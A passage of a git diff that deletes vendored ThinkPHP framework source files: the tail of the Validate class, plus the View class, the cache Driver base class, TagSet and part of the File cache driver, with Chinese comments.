$value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function egt($value, $rule, array $data = []): bool - { - return $value >= $this->getDataValue($data, $rule); - } - - /** - * 验证是否大于某个值 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function gt($value, $rule, array $data = []): bool - { - return $value > $this->getDataValue($data, $rule); - } - - /** - * 验证是否小于等于某个值 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function elt($value, $rule, array $data = []): bool - { - return $value <= $this->getDataValue($data, $rule); - } - - /** - * 验证是否小于某个值 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function lt($value, $rule, array $data = []): bool - { - return $value < $this->getDataValue($data, $rule); - } - - /** - * 验证是否等于某个值 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function eq($value, $rule): bool - { - return $value == $rule; - } - - /** - * 必须验证 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function must($value, $rule = null): bool - { - return !empty($value) || '0' == $value; - } - - /** - * 验证字段值是否为有效格式 - * @access public - * @param mixed $value 字段值 - * @param string $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function is($value, string $rule, array $data = []): bool - { - switch (Str::camel($rule)) { - case 'require': - // 必须 - $result = !empty($value) || '0' == $value; - break; - case 'accepted': - // 接受 - $result = in_array($value, ['1', 'on', 'yes']); - break; - case 'date': - // 是否是一个有效日期 - $result = false !== strtotime($value); - break; - case 'activeUrl': - // 是否为有效的网址 - $result = checkdnsrr($value); - break; - case 'boolean': - case 'bool': - // 是否为布尔值 - $result = in_array($value, [true, false, 0, 1, '0', '1'], true); - break; - case 'number': - $result = ctype_digit((string) $value); - break; - case 'alphaNum': - $result = ctype_alnum($value); - break; - case 'array': - // 是否为数组 - $result = is_array($value); - break; - case 'file': - $result = $value instanceof File; - break; - case 'image': - $result = $value instanceof File && in_array($this->getImageType($value->getRealPath()), [1, 2, 3, 6]); - break; - case 'token': - $result = $this->token($value, '__token__', $data); - break; - default: - if (isset($this->type[$rule])) { - // 注册的验证规则 - $result = call_user_func_array($this->type[$rule], [$value]); - } elseif (function_exists('ctype_' . $rule)) { - // ctype验证规则 - $ctypeFun = 'ctype_' . $rule; - $result = $ctypeFun($value); - } elseif (isset($this->filter[$rule])) { - // Filter_var验证规则 - $result = $this->filter($value, $this->filter[$rule]); - } else { - // 正则验证 - $result = $this->regex($value, $rule); - } - } - - return $result; - } - - // 判断图像类型 - protected function getImageType($image) - { - if (function_exists('exif_imagetype')) { - return exif_imagetype($image); - } - - try { - $info = getimagesize($image); - return $info ? $info[2] : false; - } catch (\Exception $e) { - return false; - } - } - - /** - * 验证表单令牌 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function token($value, string $rule, array $data): bool - { - $rule = !empty($rule) ? $rule : '__token__'; - return $this->request->checkToken($rule, $data); - } - - /** - * 验证是否为合格的域名或者IP 支持A,MX,NS,SOA,PTR,CNAME,AAAA,A6, SRV,NAPTR,TXT 或者 ANY类型 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function activeUrl(string $value, string $rule = 'MX'): bool - { - if (!in_array($rule, ['A', 'MX', 'NS', 'SOA', 'PTR', 'CNAME', 'AAAA', 'A6', 'SRV', 'NAPTR', 'TXT', 'ANY'])) { - $rule = 'MX'; - } - - return checkdnsrr($value, $rule); - } - - /** - * 验证是否有效IP - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 ipv4 ipv6 - * @return bool - */ - public function ip($value, string $rule = 'ipv4'): bool - { - if (!in_array($rule, ['ipv4', 'ipv6'])) { - $rule = 'ipv4'; - } - - return $this->filter($value, [FILTER_VALIDATE_IP, 'ipv6' == $rule ? FILTER_FLAG_IPV6 : FILTER_FLAG_IPV4]); - } - - /** - * 检测上传文件后缀 - * @access public - * @param File $file - * @param array|string $ext 允许后缀 - * @return bool - */ - protected function checkExt(File $file, $ext): bool - { - if (is_string($ext)) { - $ext = explode(',', $ext); - } - - return in_array(strtolower($file->extension()), $ext); - } - - /** - * 检测上传文件大小 - * @access public - * @param File $file - * @param integer $size 最大大小 - * @return bool - */ - protected function checkSize(File $file, $size): bool - { - return $file->getSize() <= (int) $size; - } - - /** - * 检测上传文件类型 - * @access public - * @param File $file - * @param array|string $mime 允许类型 - * @return bool - */ - protected function checkMime(File $file, $mime): bool - { - if (is_string($mime)) { - $mime = explode(',', $mime); - } - - return in_array(strtolower($file->getMime()), $mime); - } - - /** - * 验证上传文件后缀 - * @access public - * @param mixed $file 上传文件 - * @param mixed $rule 验证规则 - * @return bool - */ - public function fileExt($file, $rule): bool - { - if (is_array($file)) { - foreach ($file as $item) { - if (!($item instanceof File) || !$this->checkExt($item, $rule)) { - return false; - } - } - return true; - } elseif ($file instanceof File) { - return $this->checkExt($file, $rule); - } - - return false; - } - - /** - * 验证上传文件类型 - * @access public - * @param mixed $file 上传文件 - * @param mixed $rule 验证规则 - * @return bool - */ - public function fileMime($file, $rule): bool - { - if (is_array($file)) { - foreach ($file as $item) { - if (!($item instanceof File) || !$this->checkMime($item, $rule)) { - return false; - } - } - return true; - } elseif ($file instanceof File) { - return $this->checkMime($file, $rule); - } - - return false; - } - - /** - * 验证上传文件大小 - * @access public - * @param mixed $file 上传文件 - * @param mixed $rule 验证规则 - * @return bool - */ - public function fileSize($file, $rule): bool - { - if (is_array($file)) { - foreach ($file as $item) { - if (!($item instanceof File) || !$this->checkSize($item, $rule)) { - return false; - } - } - return true; - } elseif ($file instanceof File) { - return $this->checkSize($file, $rule); - } - - return false; - } - - /** - * 验证图片的宽高及类型 - * @access public - * @param mixed $file 上传文件 - * @param mixed $rule 验证规则 - * @return bool - */ - public function image($file, $rule): bool - { - if (!($file instanceof File)) { - return false; - } - - if ($rule) { - $rule = explode(',', $rule); - - [$width, $height, $type] = getimagesize($file->getRealPath()); - - if (isset($rule[2])) { - $imageType = strtolower($rule[2]); - - if ('jpg' == $imageType) { - $imageType = 'jpeg'; - } - - if (image_type_to_extension($type, false) != $imageType) { - return false; - } - } - - [$w, $h] = $rule; - - return $w == $width && $h == $height; - } - - return in_array($this->getImageType($file->getRealPath()), [1, 2, 3, 6]); - } - - /** - * 验证时间和日期是否符合指定格式 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function dateFormat($value, $rule): bool - { - $info = date_parse_from_format($rule, $value); - return 0 == $info['warning_count'] && 0 == $info['error_count']; - } - - /** - * 验证是否唯一 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 格式:数据表,字段名,排除ID,主键名 - * @param array $data 数据 - * @param string $field 验证字段名 - * @return bool - */ - public function unique($value, $rule, array $data = [], string $field = ''): bool - { - if (is_string($rule)) { - $rule = explode(',', $rule); - } - - if (false !== strpos($rule[0], '\\')) { - // 指定模型类 - $db = new $rule[0]; - } else { - $db = $this->db->name($rule[0]); - } - - $key = $rule[1] ?? $field; - $map = []; - - if (strpos($key, '^')) { - // 支持多个字段验证 - $fields = explode('^', $key); - foreach ($fields as $key) { - if (isset($data[$key])) { - $map[] = [$key, '=', $data[$key]]; - } - } - } elseif (isset($data[$field])) { - $map[] = [$key, '=', $data[$field]]; - } else { - $map = []; - } - - $pk = !empty($rule[3]) ? $rule[3] : $db->getPk(); - - if (is_string($pk)) { - if (isset($rule[2])) { - $map[] = [$pk, '<>', $rule[2]]; - } elseif (isset($data[$pk])) { - $map[] = [$pk, '<>', $data[$pk]]; - } - } - - if ($db->where($map)->field($pk)->find()) { - return false; - } - - return true; - } - - /** - * 使用filter_var方式验证 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function filter($value, $rule): bool - { - if (is_string($rule) && strpos($rule, ',')) { - [$rule, $param] = explode(',', $rule); - } elseif (is_array($rule)) { - $param = $rule[1] ?? null; - $rule = $rule[0]; - } else { - $param = null; - } - - return false !== filter_var($value, is_int($rule) ? $rule : filter_id($rule), $param); - } - - /** - * 验证某个字段等于某个值的时候必须 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function requireIf($value, $rule, array $data = []): bool - { - [$field, $val] = explode(',', $rule); - - if ($this->getDataValue($data, $field) == $val) { - return !empty($value) || '0' == $value; - } - - return true; - } - - /** - * 通过回调方法验证某个字段是否必须 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function requireCallback($value, $rule, array $data = []): bool - { - $result = call_user_func_array([$this, $rule], [$value, $data]); - - if ($result) { - return !empty($value) || '0' == $value; - } - - return true; - } - - /** - * 验证某个字段有值的情况下必须 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function requireWith($value, $rule, array $data = []): bool - { - $val = $this->getDataValue($data, $rule); - - if (!empty($val)) { - return !empty($value) || '0' == $value; - } - - return true; - } - - /** - * 验证某个字段没有值的情况下必须 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function requireWithout($value, $rule, array $data = []): bool - { - $val = $this->getDataValue($data, $rule); - - if (empty($val)) { - return !empty($value) || '0' == $value; - } - - return true; - } - - /** - * 验证是否在范围内 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function in($value, $rule): bool - { - return in_array($value, is_array($rule) ? $rule : explode(',', $rule)); - } - - /** - * 验证是否不在某个范围 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function notIn($value, $rule): bool - { - return !in_array($value, is_array($rule) ? $rule : explode(',', $rule)); - } - - /** - * between验证数据 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function between($value, $rule): bool - { - if (is_string($rule)) { - $rule = explode(',', $rule); - } - [$min, $max] = $rule; - - return $value >= $min && $value <= $max; - } - - /** - * 使用notbetween验证数据 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function notBetween($value, $rule): bool - { - if (is_string($rule)) { - $rule = explode(',', $rule); - } - [$min, $max] = $rule; - - return $value < $min || $value > $max; - } - - /** - * 验证数据长度 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function length($value, $rule): bool - { - if (is_array($value)) { - $length = count($value); - } elseif ($value instanceof File) { - $length = $value->getSize(); - } else { - $length = mb_strlen((string) $value); - } - - if (is_string($rule) && strpos($rule, ',')) { - // 长度区间 - [$min, $max] = explode(',', $rule); - return $length >= $min && $length <= $max; - } - - // 指定长度 - return $length == $rule; - } - - /** - * 验证数据最大长度 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function max($value, $rule): bool - { - if (is_array($value)) { - $length = count($value); - } elseif ($value instanceof File) { - $length = $value->getSize(); - } else { - $length = mb_strlen((string) $value); - } - - return $length <= $rule; - } - - /** - * 验证数据最小长度 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function min($value, $rule): bool - { - if (is_array($value)) { - $length = count($value); - } elseif ($value instanceof File) { - $length = $value->getSize(); - } else { - $length = mb_strlen((string) $value); - } - - return $length >= $rule; - } - - /** - * 验证日期 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function after($value, $rule, array $data = []): bool - { - return strtotime($value) >= strtotime($rule); - } - - /** - * 验证日期 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function before($value, $rule, array $data = []): bool - { - return strtotime($value) <= strtotime($rule); - } - - /** - * 验证日期 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function afterWith($value, $rule, array $data = []): bool - { - $rule = $this->getDataValue($data, $rule); - return !is_null($rule) && strtotime($value) >= strtotime($rule); - } - - /** - * 验证日期 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @param array $data 数据 - * @return bool - */ - public function beforeWith($value, $rule, array $data = []): bool - { - $rule = $this->getDataValue($data, $rule); - return !is_null($rule) && strtotime($value) <= strtotime($rule); - } - - /** - * 验证有效期 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function expire($value, $rule): bool - { - if (is_string($rule)) { - $rule = explode(',', $rule); - } - - [$start, $end] = $rule; - - if (!is_numeric($start)) { - $start = strtotime($start); - } - - if (!is_numeric($end)) { - $end = strtotime($end); - } - - return time() >= $start && time() <= $end; - } - - /** - * 验证IP许可 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function allowIp($value, $rule): bool - { - return in_array($value, is_array($rule) ? $rule : explode(',', $rule)); - } - - /** - * 验证IP禁用 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 - * @return bool - */ - public function denyIp($value, $rule): bool - { - return !in_array($value, is_array($rule) ? $rule : explode(',', $rule)); - } - - /** - * 使用正则验证数据 - * @access public - * @param mixed $value 字段值 - * @param mixed $rule 验证规则 正则规则或者预定义正则名 - * @return bool - */ - public function regex($value, $rule): bool - { - if (isset($this->regex[$rule])) { - $rule = $this->regex[$rule]; - } elseif (isset($this->defaultRegex[$rule])) { - $rule = $this->defaultRegex[$rule]; - } - - if (is_string($rule) && 0 !== strpos($rule, '/') && !preg_match('/\/[imsU]{0,4}$/', $rule)) { - // 不是正则表达式则两端补上/ - $rule = '/^' . $rule . '$/'; - } - - return is_scalar($value) && 1 === preg_match($rule, (string) $value); - } - - /** - * 获取错误信息 - * @return array|string - */ - public function getError() - { - return $this->error; - } - - /** - * 获取数据值 - * @access protected - * @param array $data 数据 - * @param string $key 数据标识 支持二维 - * @return mixed - */ - protected function getDataValue(array $data, $key) - { - if (is_numeric($key)) { - $value = $key; - } elseif (is_string($key) && strpos($key, '.')) { - // 支持多维数组验证 - foreach (explode('.', $key) as $key) { - if (!isset($data[$key])) { - $value = null; - break; - } - $value = $data = $data[$key]; - } - } else { - $value = $data[$key] ?? null; - } - - return $value; - } - - /** - * 获取验证规则的错误提示信息 - * @access protected - * @param string $attribute 字段英文名 - * @param string $title 字段描述名 - * @param string $type 验证规则名称 - * @param mixed $rule 验证规则数据 - * @return string|array - */ - protected function getRuleMsg(string $attribute, string $title, string $type, $rule) - { - if (isset($this->message[$attribute . '.' . $type])) { - $msg = $this->message[$attribute . '.' . $type]; - } elseif (isset($this->message[$attribute][$type])) { - $msg = $this->message[$attribute][$type]; - } elseif (isset($this->message[$attribute])) { - $msg = $this->message[$attribute]; - } elseif (isset($this->typeMsg[$type])) { - $msg = $this->typeMsg[$type]; - } elseif (0 === strpos($type, 'require')) { - $msg = $this->typeMsg['require']; - } else { - $msg = $title . $this->lang->get('not conform to the rules'); - } - - if (is_array($msg)) { - return $this->errorMsgIsArray($msg, $rule, $title); - } - - return $this->parseErrorMsg($msg, $rule, $title); - } - - /** - * 获取验证规则的错误提示信息 - * @access protected - * @param string $msg 错误信息 - * @param mixed $rule 验证规则数据 - * @param string $title 字段描述名 - * @return string - */ - protected function parseErrorMsg(string $msg, $rule, string $title) - { - if (0 === strpos($msg, '{%')) { - $msg = $this->lang->get(substr($msg, 2, -1)); - } elseif ($this->lang->has($msg)) { - $msg = $this->lang->get($msg); - } - - if (is_array($msg)) { - return $this->errorMsgIsArray($msg, $rule, $title); - } - - if (is_scalar($rule) && false !== strpos($msg, ':')) { - // 变量替换 - if (is_string($rule) && strpos($rule, ',')) { - $array = array_pad(explode(',', $rule), 3, ''); - } else { - $array = array_pad([], 3, ''); - } - - $msg = str_replace( - [':attribute', ':1', ':2', ':3'], - [$title, $array[0], $array[1], $array[2]], - $msg - ); - - if (strpos($msg, ':rule')) { - $msg = str_replace(':rule', (string) $rule, $msg); - } - } - - return $msg; - } - - /** - * 错误信息数组处理 - * @access protected - * @param array $msg 错误信息 - * @param mixed $rule 验证规则数据 - * @param string $title 字段描述名 - * @return array - */ - protected function errorMsgIsArray(array $msg, $rule, string $title) - { - foreach ($msg as $key => $val) { - if (is_string($val)) { - $msg[$key] = $this->parseErrorMsg($val, $rule, $title); - } - } - return $msg; - } - - /** - * 获取数据验证的场景 - * @access protected - * @param string $scene 验证场景 - * @return void - */ - protected function getScene(string $scene): void - { - $this->only = $this->append = $this->remove = []; - - if (method_exists($this, 'scene' . $scene)) { - call_user_func([$this, 'scene' . $scene]); - } elseif (isset($this->scene[$scene])) { - // 如果设置了验证适用场景 - $this->only = $this->scene[$scene]; - } - } - - /** - * 动态方法 直接调用is方法进行验证 - * @access public - * @param string $method 方法名 - * @param array $args 调用参数 - * @return bool - */ - public function __call($method, $args) - { - if ('is' == strtolower(substr($method, 0, 2))) { - $method = substr($method, 2); - } - - array_push($args, lcfirst($method)); - - return call_user_func_array([$this, 'is'], $args); - } -} diff --git a/vendor/topthink/framework/src/think/View.php b/vendor/topthink/framework/src/think/View.php deleted file mode 100644 index c2e7368..0000000 --- a/vendor/topthink/framework/src/think/View.php +++ /dev/null @@ -1,187 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think; - -use think\helper\Arr; - -/** - * 视图类 - * @package think - */ -class View extends Manager -{ - - protected $namespace = '\\think\\view\\driver\\'; - - /** - * 模板变量 - * @var array - */ - protected $data = []; - - /** - * 内容过滤 - * @var mixed - */ - protected $filter; - - /** - * 获取模板引擎 - * @access public - * @param string $type 模板引擎类型 - * @return $this - */ - public function engine(string $type = null) - { - return $this->driver($type); - } - - /** - * 模板变量赋值 - * @access public - * @param string|array $name 模板变量 - * @param mixed $value 变量值 - * @return $this - */ - public function assign($name, $value = null) - { - if (is_array($name)) { - $this->data = array_merge($this->data, $name); - } else { - $this->data[$name] = $value; - } - - return $this; - } - - /** - * 视图过滤 - * @access public - * @param Callable $filter 过滤方法或闭包 - * @return $this - */ - public function filter(callable $filter = null) - { - $this->filter = $filter; - return $this; - } - - /** - * 解析和获取模板内容 用于输出 - * @access public - * @param string $template 模板文件名或者内容 - * @param array $vars 模板变量 - * @return string - * @throws \Exception - */ - public function fetch(string $template = '', array $vars = []): string - { - return $this->getContent(function () use ($vars, $template) { - $this->engine()->fetch($template, array_merge($this->data, $vars)); - }); - } - - /** - * 渲染内容输出 - * @access public - * @param string $content 内容 - * @param array $vars 模板变量 - * @return string - */ - public function display(string $content, array $vars = []): string - { - return $this->getContent(function () use ($vars, $content) { - $this->engine()->display($content, array_merge($this->data, $vars)); - }); - } - - /** - * 获取模板引擎渲染内容 - * @param $callback - * @return string - * @throws \Exception - */ - protected function getContent($callback): string - { - // 页面缓存 - ob_start(); - ob_implicit_flush(0); - - // 渲染输出 - try { - $callback(); - } catch (\Exception $e) { - ob_end_clean(); - throw $e; - } - - // 获取并清空缓存 - $content = ob_get_clean(); - - if ($this->filter) { - $content = call_user_func_array($this->filter, [$content]); - } - - return $content; - } - - /** - * 模板变量赋值 - * @access public - * @param string $name 变量名 - * @param mixed $value 变量值 - */ - public function __set($name, $value) - { - $this->data[$name] = $value; - } - - /** - * 取得模板显示变量的值 - * @access protected - * @param string $name 模板变量 - * @return mixed - */ - public function __get($name) - { - return $this->data[$name]; - } - - /** - * 检测模板变量是否设置 - * @access public - * @param string $name 模板变量名 - * @return bool - */ - public function __isset($name) - { - return isset($this->data[$name]); - } - - protected function resolveConfig(string $name) - { - $config = $this->app->config->get('view', []); - Arr::forget($config, 'type'); - return $config; - } - - /** - * 默认驱动 - * @return string|null - */ - public function getDefaultDriver() - { - return $this->app->config->get('view.type', 'php'); - } - -} diff --git a/vendor/topthink/framework/src/think/cache/Driver.php b/vendor/topthink/framework/src/think/cache/Driver.php deleted file mode 100644 index 06d522d..0000000 --- a/vendor/topthink/framework/src/think/cache/Driver.php +++ /dev/null @@ -1,345 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\cache; - -use Closure; -use DateInterval; -use DateTime; -use DateTimeInterface; -use Exception; -use Psr\SimpleCache\CacheInterface; -use think\Container; -use think\contract\CacheHandlerInterface; -use think\exception\InvalidArgumentException; -use throwable; - -/** - * 缓存基础类 - */ -abstract class Driver implements CacheInterface, CacheHandlerInterface -{ - /** - * 驱动句柄 - * @var object - */ - protected $handler = null; - - /** - * 缓存读取次数 - * @var integer - */ - protected $readTimes = 0; - - /** - * 缓存写入次数 - * @var integer - */ - protected $writeTimes = 0; - - /** - * 缓存参数 - * @var array - */ - protected $options = []; - - /** - * 缓存标签 - * @var array - */ - protected $tag = []; - - /** - * 获取有效期 - * @access protected - * @param integer|DateTimeInterface|DateInterval $expire 有效期 - * @return int - */ - protected function getExpireTime($expire): int - { - if ($expire instanceof DateTimeInterface) { - $expire = $expire->getTimestamp() - time(); - } elseif ($expire instanceof DateInterval) { - $expire = DateTime::createFromFormat('U', (string) time()) - ->add($expire) - ->format('U') - time(); - } - - return (int) $expire; - } - - /** - * 获取实际的缓存标识 - * @access public - * @param string $name 缓存名 - * @return string - */ - public function getCacheKey(string $name): string - { - return $this->options['prefix'] . $name; - } - - /** - * 读取缓存并删除 - * @access public - * @param string $name 缓存变量名 - * @return mixed - */ - public function pull(string $name) - { - $result = $this->get($name, false); - - if ($result) { - $this->delete($name); - return $result; - } - } - - /** - * 追加(数组)缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @return void - */ - public function push(string $name, $value): void - { - $item = $this->get($name, []); - - if (!is_array($item)) { - throw new InvalidArgumentException('only array cache can be push'); - } - - $item[] = $value; - - if (count($item) > 1000) { - array_shift($item); - } - - $item = array_unique($item); - - $this->set($name, $item); - } - - /** - * 如果不存在则写入缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @param int $expire 有效时间 0为永久 - * @return mixed - */ - public function remember(string $name, $value, $expire = null) - { - if ($this->has($name)) { - return $this->get($name); - } - - $time = time(); - - while ($time + 5 > time() && $this->has($name . '_lock')) { - // 存在锁定则等待 - usleep(200000); - } - - try { - // 锁定 - $this->set($name . '_lock', true); - - if ($value instanceof Closure) { - // 获取缓存数据 - $value = Container::getInstance()->invokeFunction($value); - } - - // 缓存数据 - $this->set($name, $value, $expire); - - // 解锁 - $this->delete($name . '_lock'); - } catch (Exception | throwable $e) { - $this->delete($name . '_lock'); - throw $e; - } - - return $value; - } - - /** - * 缓存标签 - * @access public - * @param string|array $name 标签名 - * @return TagSet - */ - public function tag($name): TagSet - { - $name = (array) $name; - $key = implode('-', $name); - - if (!isset($this->tag[$key])) { - $this->tag[$key] = new TagSet($name, $this); - } - - return $this->tag[$key]; - } - - /** - * 获取标签包含的缓存标识 - * @access public - * @param string $tag 标签标识 - * @return array - */ - public function getTagItems(string $tag): array - { - $name = $this->getTagKey($tag); - return $this->get($name, []); - } - - /** - * 获取实际标签名 - * @access public - * @param string $tag 标签名 - * @return string - */ - public function getTagKey(string $tag): string - { - return $this->options['tag_prefix'] . md5($tag); - } - - /** - * 序列化数据 - * @access protected - * @param mixed $data 缓存数据 - * @return string - */ - protected function serialize($data): string - { - if (is_numeric($data)) { - return (string) $data; - } - - $serialize = $this->options['serialize'][0] ?? "serialize"; - - return $serialize($data); - } - - /** - * 反序列化数据 - * @access protected - * @param string $data 缓存数据 - * @return mixed - */ - protected function unserialize(string $data) - { - if (is_numeric($data)) { - return $data; - } - - $unserialize = $this->options['serialize'][1] ?? "unserialize"; - - return $unserialize($data); - } - - /** - * 返回句柄对象,可执行其它高级方法 - * - * @access public - * @return object - */ - public function handler() - { - return $this->handler; - } - - /** - * 返回缓存读取次数 - * @access public - * @return int - */ - public function getReadTimes(): int - { - return $this->readTimes; - } - - /** - * 返回缓存写入次数 - * @access public - * @return int - */ - public function getWriteTimes(): int - { - return $this->writeTimes; - } - - /** - * 读取缓存 - * @access public - * @param iterable $keys 缓存变量名 - * @param mixed $default 默认值 - * @return iterable - * @throws InvalidArgumentException - */ - public function getMultiple($keys, $default = null): iterable - { - $result = []; - - foreach ($keys as $key) { - $result[$key] = $this->get($key, $default); - } - - return $result; - } - - /** - * 写入缓存 - * @access public - * @param iterable $values 缓存数据 - * @param null|int|\DateInterval $ttl 有效时间 0为永久 - * @return bool - */ - public function setMultiple($values, $ttl = null): bool - { - foreach ($values as $key => $val) { - $result = $this->set($key, $val, $ttl); - - if (false === $result) { - return false; - } - } - - return true; - } - - /** - * 删除缓存 - * @access public - * @param iterable $keys 缓存变量名 - * @return bool - * @throws InvalidArgumentException - */ - public function deleteMultiple($keys): bool - { - foreach ($keys as $key) { - $result = $this->delete($key); - - if (false === $result) { - return false; - } - } - - return true; - } - - public function __call($method, $args) - { - return call_user_func_array([$this->handler, $method], $args); - } -} diff --git a/vendor/topthink/framework/src/think/cache/TagSet.php b/vendor/topthink/framework/src/think/cache/TagSet.php deleted file mode 100644 index db5768b..0000000 --- a/vendor/topthink/framework/src/think/cache/TagSet.php +++ /dev/null @@ -1,132 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\cache; - -/** - * 标签集合 - */ -class TagSet -{ - /** - * 标签的缓存Key - * @var array - */ - protected $tag; - - /** - * 缓存句柄 - * @var Driver - */ - protected $handler; - - /** - * 架构函数 - * @access public - * @param array $tag 缓存标签 - * @param Driver $cache 缓存对象 - */ - public function __construct(array $tag, Driver $cache) - { - $this->tag = $tag; - $this->handler = $cache; - } - - /** - * 写入缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @param integer|\DateTime $expire 有效时间(秒) - * @return bool - */ - public function set(string $name, $value, $expire = null): bool - { - $this->handler->set($name, $value, $expire); - - $this->append($name); - - return true; - } - - /** - * 追加缓存标识到标签 - * @access public - * @param string $name 缓存变量名 - * @return void - */ - public function append(string $name): void - { - $name = $this->handler->getCacheKey($name); - - foreach ($this->tag as $tag) { - $key = $this->handler->getTagKey($tag); - $this->handler->push($key, $name); - } - } - - /** - * 写入缓存 - * @access public - * @param iterable $values 缓存数据 - * @param null|int|\DateInterval $ttl 有效时间 0为永久 - * @return bool - */ - public function setMultiple($values, $ttl = null): bool - { - foreach ($values as $key => $val) { - $result = $this->set($key, $val, $ttl); - - if (false === $result) { - return false; - } - } - - return true; - } - - /** - * 如果不存在则写入缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $value 存储数据 - * @param int $expire 有效时间 0为永久 - * @return mixed - */ - public function remember(string $name, $value, $expire = null) - { - $result = $this->handler->remember($name, $value, $expire); - - $this->append($name); - - return $result; - } - - /** - * 清除缓存 - * @access public - * @return bool - */ - public function clear(): bool - { - // 指定标签清除 - foreach ($this->tag as $tag) { - $names = $this->handler->getTagItems($tag); - $this->handler->clearTag($names); - - $key = $this->handler->getTagKey($tag); - $this->handler->delete($key); - } - - return true; - } -} diff --git a/vendor/topthink/framework/src/think/cache/driver/File.php b/vendor/topthink/framework/src/think/cache/driver/File.php deleted file mode 100644 index ccec3ea..0000000 --- a/vendor/topthink/framework/src/think/cache/driver/File.php +++ /dev/null @@ -1,304 +0,0 @@ - -// +---------------------------------------------------------------------- -declare (strict_types = 1); - -namespace think\cache\driver; - -use FilesystemIterator; -use think\App; -use think\cache\Driver; - -/** - * 文件缓存类 - */ -class File extends Driver -{ - /** - * 配置参数 - * @var array - */ - protected $options = [ - 'expire' => 0, - 'cache_subdir' => true, - 'prefix' => '', - 'path' => '', - 'hash_type' => 'md5', - 'data_compress' => false, - 'tag_prefix' => 'tag:', - 'serialize' => [], - ]; - - /** - * 架构函数 - * @param App $app - * @param array $options 参数 - */ - public function __construct(App $app, array $options = []) - { - if (!empty($options)) { - $this->options = array_merge($this->options, $options); - } - - if (empty($this->options['path'])) { - $this->options['path'] = $app->getRuntimePath() . 'cache'; - } - - if (substr($this->options['path'], -1) != DIRECTORY_SEPARATOR) { - $this->options['path'] .= DIRECTORY_SEPARATOR; - } - } - - /** - * 取得变量的存储文件名 - * @access public - * @param string $name 缓存变量名 - * @return string - */ - public function getCacheKey(string $name): string - { - $name = hash($this->options['hash_type'], $name); - - if ($this->options['cache_subdir']) { - // 使用子目录 - $name = substr($name, 0, 2) . DIRECTORY_SEPARATOR . substr($name, 2); - } - - if ($this->options['prefix']) { - $name = $this->options['prefix'] . DIRECTORY_SEPARATOR . $name; - } - - return $this->options['path'] . $name . '.php'; - } - - /** - * 获取缓存数据 - * @param string $name 缓存标识名 - * @return array|null - */ - protected function getRaw(string $name) - { - $filename = $this->getCacheKey($name); - - if (!is_file($filename)) { - return; - } - - $content = @file_get_contents($filename); - - if (false !== $content) { - $expire = (int) substr($content, 8, 12); - if (0 != $expire && time() - $expire > filemtime($filename)) { - //缓存过期删除缓存文件 - $this->unlink($filename); - return; - } - - $content = substr($content, 32); - - if ($this->options['data_compress'] && function_exists('gzcompress')) { - //启用数据压缩 - $content = gzuncompress($content); - } - - return is_string($content) ? ['content' => $content, 'expire' => $expire] : null; - } - } - - /** - * 判断缓存是否存在 - * @access public - * @param string $name 缓存变量名 - * @return bool - */ - public function has($name): bool - { - return $this->getRaw($name) !== null; - } - - /** - * 读取缓存 - * @access public - * @param string $name 缓存变量名 - * @param mixed $default 默认值 - * @return mixed - */ - public function get($name, $default = null) - { - $this->readTimes++; - - $raw = $this->getRaw($name); - - return is_null($raw) ? $default : $this->unserialize($raw['content']); - } - - /** - * 写入缓存 